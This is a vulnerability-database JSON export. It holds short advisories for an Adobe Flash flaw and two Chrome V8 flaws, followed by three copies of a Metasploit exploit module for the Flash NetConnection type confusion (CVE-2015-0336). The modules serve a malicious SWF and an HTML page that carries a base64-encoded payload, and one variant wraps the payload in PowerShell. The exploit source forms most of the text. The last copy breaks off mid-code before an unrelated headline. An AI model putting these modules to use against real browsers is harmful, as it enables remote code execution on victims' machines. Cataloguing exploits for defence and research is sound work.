required for functionality. \n\nUpdates are available. Please see the references or vendor advisory for more information.\n", "cvss3": {}, "published": "2015-03-12T00:00:00", "type": "symantec", "title": "Adobe Flash Player CVE-2015-0336 Type Confusion Remote Code Execution Vulnerability", "bulletinFamily": "software", "cvss2": {}, "cvelist": ["CVE-2015-0336"], "modified": "2015-03-12T00:00:00", "id": "SMNTC-73084", "href": "https://www.symantec.com/content/symantec/english/en/security-center/vulnerabilities/writeup.html/73084", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "chrome": [{"lastseen": "2023-12-03T15:17:46", "description": "The Stable channel has been updated to 88.0.4324.150 for Windows, Mac and Linux which will roll out over the coming days/weeks.\n\n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/88.0.4324.146..88.0.4324.150?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\n\n\n\nThis update includes [1](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-2-M88>) security fix. Please see the [Chrome Security Page](<https://sites.google.com/a/chromium.org/dev/Home/chromium-security>) for more information.\n\n\n\n\n[$TBD][[1170176](<https://crbug.com/1170176>)] High CVE-2021-21148: Heap buffer overflow in V8. Reported by Mattias Buelens on 2021-01-24\n\n\n\n\nGoogle is aware of reports that an exploit for CVE-2021-21148 exists in the wild.\n\n\nWe would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.\n\n\n\n\n\n\n\n\nSrinivas Sista [Google Chrome](<https://www.google.com/chrome/>)", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-02-04T00:00:00", "type": "chrome", "title": "Stable Channel Update for Desktop", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148"], "modified": "2021-02-04T00:00:00", "id": "GCSA-2763659147289736801", "href": "https://chromereleases.googleblog.com/2021/02/stable-channel-update-for-desktop_4.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-03T15:17:04", "description": "The Stable channel has been updated to 99.0.4844.84 for Windows, Mac and Linux which will roll out over the coming days/weeks. \n\nA full list of changes in this build is available in the [log](<https://chromium.googlesource.com/chromium/src/+log/99.0.4844.82..99.0.4844.84?pretty=fuller&n=10000>). Interested in switching release channels? Find out how [here](<https://www.chromium.org/getting-involved/dev-channel>). If you find a new issue, please let us know by [filing a bug](<https://crbug.com/>). The [community help forum](<https://productforums.google.com/forum/#!forum/chrome>) is also a great place to reach out for help or learn about common issues.\n\n\n\n\nSecurity Fixes and Rewards\n\nNote: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven't yet fixed.\n\nThis update includes [1](<https://bugs.chromium.org/p/chromium/issues/list?can=1&q=type%3Abug-security+os%3DAndroid%2Cios%2Clinux%2Cmac%2Cwindows%2Call%2Cchrome+label%3ARelease-2-M99>) security fix. Below, we highlight fixes that were contributed by external researchers. Please see the [Chrome Security Page](<https://sites.google.com/a/chromium.org/dev/Home/chromium-security>) for more information.\n\n** \n**\n\n[$TBD][[1309225](<https://crbug.com/1309225>)] High CVE-2022-1096: Type Confusion in V8. Reported by anonymous on 2022-03-23\n\nWe would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.\n\nGoogle is aware that an exploit for CVE-2022-1096 exists in the wild. \n\nMany of our security bugs are detected using [AddressSanitizer](<https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer>), [MemorySanitizer](<https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer>), [UndefinedBehaviorSanitizer](<https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer>), [Control Flow Integrity](<https://sites.google.com/a/chromium.org/dev/developers/testing/control-flow-integrity>), [libFuzzer](<https://sites.google.com/a/chromium.org/dev/developers/testing/libfuzzer>), or [AFL](<https://github.com/google/afl>).\n\n\n\n\nPrudhviKumar Bommana\n\nGoogle Chrome", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-03-25T00:00:00", "type": "chrome", "title": "Stable Channel Update for Desktop", "bulletinFamily": "software", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2022-1096"], "modified": "2022-03-25T00:00:00", "id": "GCSA-6591445864469691028", "href": "https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2023-06-23T21:13:18", "description": "This module exploits a type confusion vulnerability in the NetConnection class on Adobe Flash Player. When using a correct memory layout this vulnerability allows to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like vectors, and ultimately accomplish remote code execution. This module has been tested successfully on: * Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305. * Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305. * Linux Mint \"Rebecca\" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.424. * Ubuntu 14.04.2 LTS, Firefox 33.0 and Adobe Flash 11.2.202.442.\n", "cvss3": {}, "published": "2015-05-27T22:05:10", "type": "metasploit", "title": "Adobe Flash Player NetConnection Type Confusion", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-0336"], "modified": "2021-02-25T16:47:49", "id": "MSF:EXPLOIT-MULTI-BROWSER-ADOBE_FLASH_NET_CONNECTION_CONFUSION-", "href": "https://www.rapid7.com/db/modules/exploit/multi/browser/adobe_flash_net_connection_confusion/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = GreatRanking\n\n include Msf::Exploit::Remote::BrowserExploitServer\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => 'Adobe Flash Player NetConnection Type Confusion',\n 'Description' => %q{\n This module exploits a type confusion vulnerability in the NetConnection class on\n Adobe Flash Player. When using a correct memory layout this vulnerability allows\n to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like\n vectors, and ultimately accomplish remote code execution. This module has been tested\n successfully on:\n * Windows 7 SP1 (32-bit), IE 8, IE11 and Adobe Flash 16.0.0.305.\n * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 16.0.0.305.\n * Windows 8.1, Firefox 38.0.5 and Adobe Flash 16.0.0.305.\n * Linux Mint \"Rebecca\" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.424.\n * Ubuntu 14.04.2 LTS, Firefox 33.0 and Adobe Flash 11.2.202.442.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit\n 'Unknown', # Exploit in the wild\n 'juan vazquez' # msf module\n ],\n 'References' =>\n [\n ['CVE', '2015-0336'],\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],\n ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],\n ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],\n ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],\n ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']\n ],\n 'Payload' =>\n {\n 'DisableNops' => true\n },\n 'Platform' => ['win', 'linux'],\n 'Arch' => [ARCH_X86],\n 'BrowserRequirements' =>\n {\n :source => /script|headers/i,\n :arch => ARCH_X86,\n :os_name => lambda do |os|\n os =~ OperatingSystems::Match::LINUX ||\n os =~ OperatingSystems::Match::WINDOWS_7 ||\n os =~ OperatingSystems::Match::WINDOWS_81\n end,\n :ua_name => lambda do |ua|\n case target.name\n when 'Windows'\n return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF\n when 'Linux'\n return true if ua == Msf::HttpClients::FF\n end\n\n false\n end,\n :flash => lambda do |ver|\n case target.name\n when 'Windows'\n return true if ver =~ /^16\\./ && Rex::Version.new(ver) <= Rex::Version.new('16.0.0.305')\n when 'Linux'\n return true if ver =~ /^11\\./ && Rex::Version.new(ver) <= Rex::Version.new('11.2.202.442')\n end\n\n false\n end\n },\n 'Targets' =>\n [\n [ 'Windows',\n {\n 'Platform' => 'win'\n }\n ],\n [ 'Linux',\n {\n 'Platform' => 'linux'\n }\n ]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => '2015-03-12',\n 'DefaultTarget' => 0))\n end\n\n def exploit\n @swf = create_swf\n @trigger = create_trigger\n\n super\n end\n\n def on_request_exploit(cli, request, target_info)\n print_status(\"Request: #{request.uri}\")\n\n if request.uri =~ /\\.swf$/\n print_status('Sending SWF...')\n send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})\n return\n end\n\n print_status('Sending HTML...')\n send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})\n end\n\n def exploit_template(cli, target_info)\n swf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\"\n target_payload = get_payload(cli, target_info)\n b64_payload = Rex::Text.encode_base64(target_payload)\n os_name = target_info[:os_name]\n\n if target.name =~ /Windows/\n platform_id = 'win'\n elsif target.name =~ /Linux/\n platform_id = 'linux'\n end\n\n trigger_hex_stream = @trigger.unpack('H*')[0]\n\n html_template = %Q|<html>\n <body>\n <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\n <param name=\"movie\" value=\"<%=swf_random%>\" />\n <param name=\"allowScriptAccess\" value=\"always\" />\n <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>&tr=<%=trigger_hex_stream%>\" />\n <param name=\"Play\" value=\"true\" />\n <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>&tr=<%=trigger_hex_stream%>\" Play=\"true\"/>\n </object>\n </body>\n </html>\n |\n\n return html_template, binding()\n end\n\n def create_swf\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')\n swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n swf\n end\n\n def create_trigger\n if target.name =~ /Linux/\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger_linux.swf')\n else\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')\n end\n\n swf = ::File.open(path, 'rb') { |f| swf = f.read }\n\n swf\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/multi/browser/adobe_flash_net_connection_confusion.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "zdt": [{"lastseen": "2018-01-05T13:19:06", "description": "Exploit for windows platform in category remote exploits", "cvss3": {}, "published": "2015-05-08T00:00:00", "type": "zdt", "title": "Adobe Flash Player NetConnection Type Confusion Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2015-0336"], "modified": "2015-05-08T00:00:00", "id": "1337DAY-ID-23604", "href": "https://0day.today/exploit/description/23604", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n \r\nrequire 'msf/core'\r\n \r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = NormalRanking\r\n \r\n include Msf::Exploit::Powershell\r\n include Msf::Exploit::Remote::BrowserExploitServer\r\n \r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => 'Adobe Flash Player NetConnection Type Confusion',\r\n 'Description' => %q{\r\n This module exploits a type confusion vulnerability in the NetConnection class on\r\n Adobe Flash Player. When using a correct memory layout this vulnerability allows\r\n to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like\r\n vectors, and finally accomplish remote code execution. This module has been tested\r\n successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit\r\n 'Unknown', # Exploit in the wild\r\n 'juan vazquez' # msf module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2015-0336'],\r\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],\r\n ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],\r\n ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],\r\n ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],\r\n ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true\r\n },\r\n 'Platform' => 'win',\r\n 'BrowserRequirements' =>\r\n {\r\n :source => /script|headers/i,\r\n :os_name => OperatingSystems::Match::WINDOWS_7,\r\n :ua_name => Msf::HttpClients::IE,\r\n :flash => lambda { |ver| ver =~ /^16\\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },\r\n :arch => ARCH_X86\r\n },\r\n 'Targets' =>\r\n [\r\n [ 'Automatic', {} ]\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => 'Mar 12 2015',\r\n 'DefaultTarget' => 0))\r\n end\r\n \r\n def exploit\r\n @swf = create_swf\r\n @trigger = create_trigger\r\n super\r\n end\r\n \r\n def on_request_exploit(cli, request, target_info)\r\n print_status(\"Request: #{request.uri}\")\r\n \r\n if request.uri =~ /\\.swf$/\r\n print_status('Sending SWF...')\r\n send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})\r\n return\r\n end\r\n \r\n print_status('Sending HTML...')\r\n send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})\r\n end\r\n \r\n def exploit_template(cli, target_info)\r\n swf_random = \"#{rand_text_alpha(4 + rand(3))}.swf\"\r\n target_payload = get_payload(cli, target_info)\r\n psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})\r\n b64_payload = Rex::Text.encode_base64(psh_payload)\r\n \r\n trigger_hex_stream = @trigger.unpack('H*')[0]\r\n \r\n html_template = %Q|<html>\r\n <body>\r\n <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab\" width=\"1\" height=\"1\" />\r\n <param name=\"movie\" value=\"<%=swf_random%>\" />\r\n <param name=\"allowScriptAccess\" value=\"always\" />\r\n <param name=\"FlashVars\" value=\"sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>\" />\r\n <param name=\"Play\" value=\"true\" />\r\n <embed type=\"application/x-shockwave-flash\" width=\"1\" height=\"1\" src=\"<%=swf_random%>\" allowScriptAccess=\"always\" FlashVars=\"sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>\" Play=\"true\"/>\r\n </object>\r\n </body>\r\n </html>\r\n |\r\n \r\n return html_template, binding()\r\n end\r\n \r\n def create_swf\r\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')\r\n swf = ::File.open(path, 'rb') { |f| swf = f.read }\r\n \r\n swf\r\n end\r\n \r\n def create_trigger\r\n path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')\r\n swf = ::File.open(path, 'rb') { |f| swf = f.read }\r\n \r\n swf\r\n end\r\nend\n\n# 0day.today [2018-01-05] #", "sourceHref": "https://0day.today/exploit/23604", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "exploitdb": [{"lastseen": "2023-12-03T21:17:35", "description": "", "cvss3": {}, "published": "2015-05-08T00:00:00", "type": "exploitdb", "title": "Adobe Flash Player - NetConnection Type Confusion (Metasploit)", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["2015-0336", "CVE-2015-0336"], "modified": "2015-05-08T00:00:00", "id": "EDB-ID:36962", "href": "https://www.exploit-db.com/exploits/36962", "sourceData": "##\r\n# This module requires Metasploit: http://metasploit.com/download\r\n# Current source: https://github.com/rapid7/metasploit-framework\r\n##\r\n\r\nrequire 'msf/core'\r\n\r\nclass Metasploit3 < Msf::Exploit::Remote\r\n Rank = NormalRanking\r\n\r\n include Msf::Exploit::Powershell\r\n include Msf::Exploit::Remote::BrowserExploitServer\r\n\r\n def initialize(info={})\r\n super(update_info(info,\r\n 'Name' => 'Adobe Flash Player NetConnection Type Confusion',\r\n 'Description' => %q{\r\n This module exploits a type confusion vulnerability in the NetConnection class on\r\n Adobe Flash Player. When using a correct memory layout this vulnerability allows\r\n to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like\r\n vectors, and finally accomplish remote code execution. This module has been tested\r\n successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.\r\n },\r\n 'License' => MSF_LICENSE,\r\n 'Author' =>\r\n [\r\n 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit\r\n 'Unknown', # Exploit in the wild\r\n 'juan vazquez' # msf module\r\n ],\r\n 'References' =>\r\n [\r\n ['CVE', '2015-0336'],\r\n ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],\r\n ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],\r\n ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],\r\n ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],\r\n ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']\r\n ],\r\n 'Payload' =>\r\n {\r\n 'DisableNops' => true\r\n },\r\n 'Platform' => 'win',\r\n 'BrowserRequirements' =>\r\n {\r\n :source => /script|headers/i,\r\n :os_name => OperatingSystems::Match::WINDOWS_7,\r\n :ua_name => Msf::HttpClients::IE,\r\n :flash => lambda { |ver| ver =~ /^16\\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },\r\n :arch => ARCH_X86\r\n },\r\n 'Targets' =>\r\n [\r\n [ 'Automatic', {} ]\r\n ],\r\n 'Privileged' => false,\r\n 'DisclosureDate' => 'Mar 12 2015',\r\n 'DefaultTarget' => 0))\r\n end\r\n\r\n def exploit\r\n @swf = create_swf\r\n @trigger = create_trigger\r\n super\r\n end\r\n\r\n def on_request_exploit(cli, request, target_info)\r\n print_status(\"Request: #{request.uri}\")\r\n\r\n if r
Google Chrome Bug Actively Exploited as Zero-Day
